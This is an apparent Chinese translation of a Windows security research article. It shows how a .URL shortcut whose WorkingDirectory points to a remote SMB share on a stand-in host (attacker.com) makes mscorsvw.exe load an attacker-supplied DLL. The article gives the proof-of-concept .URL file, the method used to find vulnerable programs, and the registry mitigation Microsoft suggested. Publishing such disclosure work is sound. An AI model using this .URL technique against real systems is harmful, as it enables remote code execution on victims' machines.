独辟蹊径:如何通过URL文件实现DLL劫持

阅读量    20910 | 评论 2   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

概述

在第三方Windows应用程序中,存在一个允许执行本地文件的漏洞,然而该漏洞却不支持带参数执行。因此,我决定在Windows中再找到一个其他的漏洞,以此来实现想要的漏洞利用。

 

问题描述

此前,我多次遇到过一个带有漏洞的应用程序,可以允许执行本地文件。这就意味着,攻击者控制的字符串会以ShellExecute( https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx )之类的Windows API调用结束,尽管系统调用自身并不重要。但这里有一个问题,就是我实际上无法控制任何参数。举例来说,我能够传递 file:///c:/windows/system32/cmd.exe ,但实际上无法执行任何恶意Payload,而只能简单地打开了cmd.exe。对于calc.exe、powershell.exe等等也是同样,这样一来使得漏洞就没有了任何实用价值。
于是,我开始不断思考,如何能够滥用这种漏洞,并使其真正执行攻击者所自定义的程序代码:

思路1:借助下载文件夹

我们可以想到的第一种方法,就是借助受漏洞影响的应用程序来触发文件下载。一旦文件被下载,漏洞可能会被再次触发,从而可以执行下载的文件。但经过研究,使用这种思路会有两个问题:
首先,它要求我能够在没有用户交互的情况下,触发文件的下载。
其次,假如能够满足上述要求,Windows中还存在另一个阻碍——用于下载文件的Zone模型,或确切地说,是Zone.Identifiers。
接下来,我们介绍一下Zone.Identifiers。
如果文件(通过网页浏览器等方式)被下载,Windows会向文件中添加一个名为Zone.Identifier的可选数据流(Alternative Data Stream, https://blogs.msdn.microsoft.com/jerrydixon/2007/09/20/alternate-data-streams/ )。简单地说,可选数据流是一个数据(二进制或文本等),它并不存储于文件之中,而是链接到另一个文件。读取一个可选数据流的语法如下:<realfileOnDisk>:<ADSName>(<磁盘上的真实文件>:<可选文件流名称>)。
而具体到下载文件的场景中,这些附加信息描述了文件是从哪个区域下载的。在这里,我没有对这个模型及其具体含义进行深入讨论,但简短地说:如果从example.com这样的域名下载文件,该文件将被分配一个值为3的Zone ID:

>dir /R downloaded.exe
downloaded.exe:Zone.Identifier:$DATA
>notepad downloaded.exe:Zone.Identifier
[ZoneTransfer]
ZoneId=3

不同值所对应的标记如下:
0 —— URLZONE_LOCAL_MACHINE(本地)
1 —— URLZONE_INTRANNET(内网)
2 —— URLZONE_TRUSTED(可信位置)
3 —— URLZONE_INTERNET(互联网)
4 —— URLZONE_UNTRUSTED(不可信位置)
只要Zone ID大于2,Windows就会针对潜在的不安全文件显示以下警告对话框:

由于我想要在不进行点击的前提下实现下载,所以就必须要找到一个安全的扩展名,既能执行恶意Payload,同时也不受这一防护机制的保护。由于Windows中这一功能特性已经存在了很长时间,因此可能无法找到合适的突破口,所以我们必须继续尝试其他方法。
在这里,需要提到的是,我发现某些第三方扩展名(例如Python的.py文件)就绕过了这种保护,但前提是目标主机需要先安装Python,并且Python可执行文件位于环境变量中。

思路2:SMB/UNC路径

在我放弃了下载文件的思路之后,我开始考虑SMB/UNC路径。在Windows上,可以使用 file:/// 协议处理程序来打开和远程执行SMB共享文件,格式如下:

file://attacker.com/SMBShare/fileYouWantoToOpen

我的第一个天真的想法是:由于这个文件托管在远程SMB共享上,所以就没有Zone.Identifier可选数据流的存在,并且任何文件都会毫不犹豫地执行。我需要做的就是创建一个恶意文件,并将其托管在我的SMB共享上,设置该文件可以被公开访问,并将适当的file协议URL传递给受漏洞影响的应用程序。
然而,这个想法被证明是错误的。我们只需要看一下这两个例子:

file://attacker.com/SMBShare/evil.exe
file://attacker.com/SMBShare/test.bat

经过尝试,仍然会显示出于之前相同的警告对话框,这种方式显然也是不行的。作为最后的尝试,我开始在Windows上使用恶意文件扩展列表,这些列表曾经被恶意软件所使用过,并且我还按照自己的思路在其中添加了一些。然后,我为每一个扩展名都创建了一个文件,将它们上传到我的远程SMB共享中,并执行它们。

 

最终答案:URL

在完成扩展名的枚举之后,我发现,.URL文件能够从远程SMB共享中执行,并且没有出现任何警告对话框( file://attacker.com/SMBShare/test.URL )。我们很熟悉以下的.URL结构:
链接到本地文件:
[InternetShortcut]
URL=C:windowssystem32cmd.exe
链接到HTTP资源:
[InternetShortcut]
URL=http://example.com
同样,这里不允许传递任何参数,我们似乎又回到了最初的起点。但幸好,我在网上找到了其他研究者( http://www.lyberty.com/encyc/articles/tech/dot_url_format_-_an_unofficial_guide.html )记录的.URL文件的所有支持属性,所以我决定看一看:

The classic URL file format is pretty simple; it has a format similar to an INI file:

Sample URL File:

_______________________________________________________

[InternetShortcut]
URL=http://www.someaddress.com/
WorkingDirectory=C:WINDOWS
ShowCommand=7
IconIndex=1
IconFile=C:WINDOWSSYSTEMurl.dll
Modified=20F06BA06D07BD014D
HotKey=1601
_______________________________________________________

我认为,其中的WorkingDirectory是用于自解释的,但它允许设置由URL指令指定的应用程序工作目录。在这里,我立刻就想到了DLL劫持。这种漏洞在2010年到2011年之间特别常见,但至今仍然存在。如果这个应用程序存在DLL劫持漏洞,那么就可以从当前工作目录,而不是其应用程序文件夹、Windows文件夹等加载受攻击者控制的DLL。
受到启发,我有了如下思路:

[InternetShortcut]
URL=file:///c:/<pathToAnApplication>
WorkingDirectory=\attacker.comSMBShare

也许我可以通过URL指令,指定一个标准的Windows应用程序,将工作目录设置为我的SMB共享,并强制其从我的远程共享中加载一个DLL。我编写了一个Python脚本,按照以下逻辑来执行:
1、遍历C:Windows及其子文件夹中的所有.exe文件(由于我只对默认存在的应用程序感兴趣);
2、在SMB共享中,为之前遍历到的每一个应用程序,创建一个.URL,URL指令指向目标应用程序,WorkingDirectory设置为远程SMB共享;
3、获取所有当前正在运行进程的列表,用于后续比对;
4、启动ProcessMonitor( https://docs.microsoft.com/en-us/sysinternals/downloads/procmon );
5、设置筛选器,使其只显示路径指向远程共享且以.DLL结尾的条目;
6、执行.URL文件,例如 file://attacker.com/SMBShare/poc1.URL ;
7、获取所有当前正在运行的进程列表;
8、将新获取到的列表与步骤3中创建的进程列表进行对比,记录执行的.URL文件和所有新生成的进程,将所有新派生的进程终止以保证足够的系统资源;
9、重复步骤6、7、8,直到所有创建的.URL文件都已经执行。
在该脚本运行完成后,ProcessMonitor中将显示潜在可执行文件的列表,这些可执行文件可能存在DLL劫持的漏洞。接下来,要检查每个条目,对其进行栈跟踪,并找出LoadLibrary。这是用于检查是否存在DLL劫持漏洞的最简单、最明显方法,尽管并非完美,但我们希望能借助这种基本的方法来找到目标。
在测试过程中,我是在64位Windows 10系统的笔记本电脑上运行此脚本。如果各位读者想要亲自尝试这种方法,请从列表中删去“audit.exe”,因为它会重新启动计算机。

测试结果

首先,我的结果中存在很多误报情况,至今令我非常困惑,因为我认为不应该发生误报。
当我发表这篇文章时,我肯定是已经尝试成功了。我的电脑中受漏洞影响的应用程序是与笔记本电脑的触摸板有关,因此我对其进行了卸载。具体来说,我发现了以下Procmon条目:

我将自己的DLL放到SMB共享之中,并将该DLL重命名为mscorsvc.dll,从而创建一个消息框,防止万一该DLL被加载。现在,我再次执行该.URL文件,文件实际上会加载mscorsvw.exe,并观察到如下信息:

我的DLL已经成功从远程共享加载。不仅如此,我的DLL的消息框也成功弹出,这就意味着我自定义的代码被成功执行了。
为了确保万无一失,我在C:windowssystem32driversetchosts文件中添加了一个静态DNS条目,并将attacker.com映射到了局域网内的另一台Windows主机上,来对这一过程进行复现和验证。之后,我通过将.URL文件和DLL文件放在本地attacker.com主机上的方法,对PoC进行了测试,创建了一个完全可访问的SMB共享,并从我的测试主机上执行了Payload,证明该方法确实有效。
总而言之,这是我相处的概念验证方法(另外,这不是我发现的唯一一个受漏洞影响的应用程序):

[InternetShortcut]
URL=C:windowsWinSxSx86_netfx4-mscorsvw_exe_b03f5f7f11d50a3a_4.0.15655.0_none_c11940453f42e667mscorsvw.exe
WorkingDirectory=\attacker.comSMBShare

mscorsvw.exe将从远程smb共享加载mscorsvc.dll。

 

攻击过程总结

我们对这次攻击过程进行一下总结:
1、发现一个应用程序存在漏洞,允许执行不带参数的文件。
2、我利用了这一漏洞,加载文件 file://attacker.com/SMBShare/poc.URL 。
3、该.URL文件包含上面所述的结构。
4、最后,我的恶意mscorsvc.dll文件将会被加载,成功实现攻击。

 

PoC存在的问题

我的概念验证仍然存在一些问题。首先,如果要成功实现,需要目标主机允许出站SMB连接。此外,我发现的受漏洞影响的应用程序都位于WinSxS中,其路径包含版本信息,这也就意味着Windows版本、语言和应用程序版本都可能对路径产生影响。
同样,这种攻击方式也会在目标用户使用explorer.exe查看远程SMB共享并双击.URL文件时成功实现。

 

防范方法

我向微软报告了该问题,微软工作人员表示可以成功复现。之后,我得到如下回应:
“您是否可以在启用以下注册表设置的情况下重现此攻击?通过设置以下注册表项,我们发现CWD网络共享DLL加载会停止。”

 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession Manager]
"CWDIllegalInDllSearch"=dword:ffffffff

经过确认,我发现经过上述设置(需要重新启动计算机)之后可以停止从远程SMB共享加载DLL,因此可以防范本文所述的攻击方式。随后,我获得了微软团队关于发布此漏洞详情的允许:
“感谢您的确认。工程师团队建议,由于这一注册表项可以防范此攻击,因此用户可以自行对计算机进行防护,我们可能不会通过安全更新解决这一问题。此外,您可以将上述漏洞细节发布到网络,特别是其中的防范方法。”

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多